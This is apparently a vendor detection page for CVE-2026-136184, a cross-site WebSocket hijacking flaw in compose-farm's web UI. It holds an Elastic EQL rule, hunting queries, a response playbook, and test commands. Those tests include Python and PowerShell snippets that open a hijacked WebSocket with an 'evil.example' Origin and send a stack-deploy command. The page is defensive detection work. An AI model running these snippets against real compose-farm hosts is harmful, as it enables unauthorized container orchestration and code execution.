Skip to content
CVE-2026-136184 Elastic Security · Elastic

Detect CVE-2026-136184: compose-farm Cross-Site WebSocket Hijacking & CSRF (Unauthenticated Web UI RCE) in Elastic Security

Detects exploitation of CVE-2026-136184, a cross-site WebSocket hijacking (CSWSH) and cross-site request forgery vulnerability in basnijholt/compose-farm versions 0.19.0 before 1.22.0. The unauthenticated web UI WebSocket endpoint (src/compose_farm/web/ws.py) performs no Origin validation and no authentication, allowing a malicious web page visited by a victim with network access to compose-farm to open a cross-origin WebSocket and issue privileged commands (deploy/up/down of Docker Compose stacks), yielding remote code execution via arbitrary container orchestration. Detection focuses on WebSocket upgrade requests to the compose-farm UI carrying a cross-site or attacker-controlled Origin header, missing/absent authentication, and subsequent stack-management command execution that correlates with docker compose child-process activity on the host.

MITRE ATT&CK

Tactic
Initial Access Execution Lateral Movement

Elastic Detection Query

Elastic Security (Elastic)
eql
// df00tech DF00-3668a7895e · https://df00tech.com/detections/CVE-2026-136184 · licence: https://df00tech.com/detections/licence
sequence by source.ip with maxspan=5m
  [network where network.protocol == "http" and
     stringContains(url.path, "/ws") and
     http.request.headers.upgrade == "websocket" and
     http.request.headers.origin != null and
     not endsWith(http.request.headers.origin, destination.domain)]
  [process where process.name in ("docker", "docker-compose", "dockerd") and
     process.args : ("up", "down", "*compose*", "*-f*")]
high severity medium confidence

Correlates a cross-origin WebSocket upgrade to a compose-farm '/ws' endpoint with subsequent docker compose process execution on the host, indicating hijacked UI driving container orchestration.

Data Sources

PacketbeatElastic EndpointAuditbeat

Required Tables

packetbeat-*logs-endpoint.events.network-*logs-endpoint.events.process-*

False Positives & Tuning

  • Operators legitimately driving compose-farm deployments from a bookmarked UI served on a different hostname.
  • CI/CD agents invoking docker compose shortly after admin UI interactions.
  • Automation that opens the WebSocket from a management jump host with a mismatched Origin.

Other platforms for CVE-2026-136184


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Cross-origin WebSocket upgrade to compose-farm /ws

    Expected signal: Proxy/firewall HTTP log of a WebSocket upgrade to /ws with Origin http://evil.example not matching the host.

  2. Test 2 CSRF-style stack deploy via WebSocket command

    Expected signal: docker/dockerd process execution (docker compose up) correlated with the cross-origin WebSocket session.

  3. Test 3 Browser-driven cross-site WebSocket from untrusted page

    Expected signal: Browser process initiating a WebSocket connection to the compose-farm host with a file:// or external Origin.


Response Playbook

Triage

  1. Confirm the compose-farm version on the affected host; versions 0.19.0 through 1.21.5 are vulnerable and 1.22.0 is fixed. Check `pip show compose-farm` or the running container image tag.
  2. Review the WebSocket upgrade request's Origin header against the compose-farm host/FQDN, a mismatch with no corresponding authenticated session is the primary indicator of CSWSH.
  3. Correlate the time of the cross-origin /ws connection with docker compose up/down/deploy activity and container state changes on the host.
  4. Identify the victim client IP that opened the WebSocket and determine whether that user recently browsed to an untrusted external site (CSWSH requires a victim with network access to compose-farm).

Containment

  1. Block external and untrusted-network access to the compose-farm UI and WebSocket port at the firewall/reverse proxy immediately; restrict to a trusted management segment or VPN.
  2. Upgrade compose-farm to 1.22.0 or later, which adds Origin validation and authentication to the WebSocket endpoint.
  3. If upgrade is not immediately possible, place the UI behind an authenticating reverse proxy that enforces Origin checks and drops cross-site WebSocket upgrades.

Evidence Collection

  1. Capture proxy/firewall logs showing the /ws upgrade request, source IP, Origin header, and Host header.
  2. Collect docker/dockerd and compose-farm application logs and the process execution history (docker compose commands, container create/start events) for the exposure window.
  3. Snapshot affected container images and any newly created or modified Compose stacks for forensic comparison.

Escalation Criteria

  • !Escalate to incident response if docker compose execution or new container deployment correlates with a confirmed cross-origin WebSocket connection, this indicates achieved RCE.
  • !Escalate if the compose-farm UI was reachable from the internet or an untrusted network, as the exposure window and victim population are then unbounded.

Investigation Guide

Forensic Artifacts

  • >Reverse-proxy/firewall logs containing the WebSocket upgrade with mismatched Origin and Host headers.
  • >Docker daemon event log (`docker events`) and container create/start records around the exposure time.
  • >compose-farm application logs recording stack deploy/up/down operations and the originating session.

Tuning Guidance

Baseline the legitimate hostnames/FQDNs and reverse-proxy Origins used to reach the compose-farm UI, then allowlist those Origin/Host pairs to suppress benign mismatches. If the UI is correctly served from a single hostname, any Origin differing from that hostname on the /ws path is high-fidelity. After upgrading to 1.22.0, expect cross-origin upgrades to be rejected server-side; shift the detection to alert on rejected upgrade attempts as a probing indicator.


Hunting Queries

Hunt for cross-origin WebSocket upgrade attempts against compose-farm '/ws' endpoints across proxy/firewall telemetry.

Hunting — KQL
kql
// df00tech DF00-3668a7895e · https://df00tech.com/detections/CVE-2026-136184 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "/ws" | extend OriginHeader = extract(@"[Oo]rigin:\s*([^\r\n;]+)", 1, AdditionalExtensions) | where isnotempty(OriginHeader) and not(tolower(OriginHeader) has tolower(DestinationHostName)) | project TimeGenerated, SourceIP, DestinationHostName, RequestURL, OriginHeader
Hunting — SPL
spl
``` df00tech DF00-3668a7895e · https://df00tech.com/detections/CVE-2026-136184 · licence: https://df00tech.com/detections/licence ```
index=proxy sourcetype="stream:http" uri="*/ws*" | eval origin=coalesce(http_origin,origin_header) | rex field=origin "^[a-z]+://(?<origin_host>[^/:]+)" | where isnotnull(origin) AND origin_host!=dest_host | stats count by src_ip dest_host origin

Atomic Red Team Tests

Test 1 Cross-origin WebSocket upgrade to compose-farm /ws
linux

Simulates a CSWSH attempt by opening a WebSocket to the compose-farm /ws endpoint with an attacker-controlled Origin header, as a malicious page's browser would.

Command

bash
python3 -c "import websocket; ws=websocket.create_connection('ws://127.0.0.1:8000/ws', header=['Origin: http://evil.example'], suppress_origin=True); print(ws.recv()); ws.close()"

Cleanup

bash
echo 'No persistent artifacts; close any lingering WebSocket connections'

Expected Telemetry

Proxy/firewall HTTP log of a WebSocket upgrade to /ws with Origin http://evil.example not matching the host.

Expected Detection

KQL/SPL cross-origin /ws detections fire on the Origin/Host mismatch.

Test 2 CSRF-style stack deploy via WebSocket command
linux

Sends a stack management command over the hijacked WebSocket to trigger a docker compose operation, emulating RCE via orchestration.

Command

bash
python3 -c "import websocket,json; ws=websocket.create_connection('ws://127.0.0.1:8000/ws', header=['Origin: http://evil.example']); ws.send(json.dumps({'action':'deploy','stack':'test'})); print(ws.recv()); ws.close()"

Cleanup

bash
docker compose -p test down 2>/dev/null || true

Expected Telemetry

docker/dockerd process execution (docker compose up) correlated with the cross-origin WebSocket session.

Expected Detection

EQL sequence and CrowdStrike CQL compose_exec detections fire on the docker compose child process following the /ws upgrade.

Test 3 Browser-driven cross-site WebSocket from untrusted page
windows

Uses a headless browser loading an attacker HTML page that opens a WebSocket to compose-farm, reproducing the end-to-end CSWSH delivery path.

Command

powershell
powershell -c "$html='<script>var w=new WebSocket(\"ws://127.0.0.1:8000/ws\");w.onopen=function(){w.send(\"{\\\"action\\\":\\\"list\\\"}\")}</script>'; Set-Content -Path $env:TEMP\cswsh.html -Value $html; Start-Process msedge.exe (Join-Path $env:TEMP 'cswsh.html')"

Cleanup

powershell
Remove-Item $env:TEMP\cswsh.html -ErrorAction SilentlyContinue

Expected Telemetry

Browser process initiating a WebSocket connection to the compose-farm host with a file:// or external Origin.

Expected Detection

Cross-origin /ws upgrade detections fire on the mismatched/absent same-origin Origin header.

Related Detections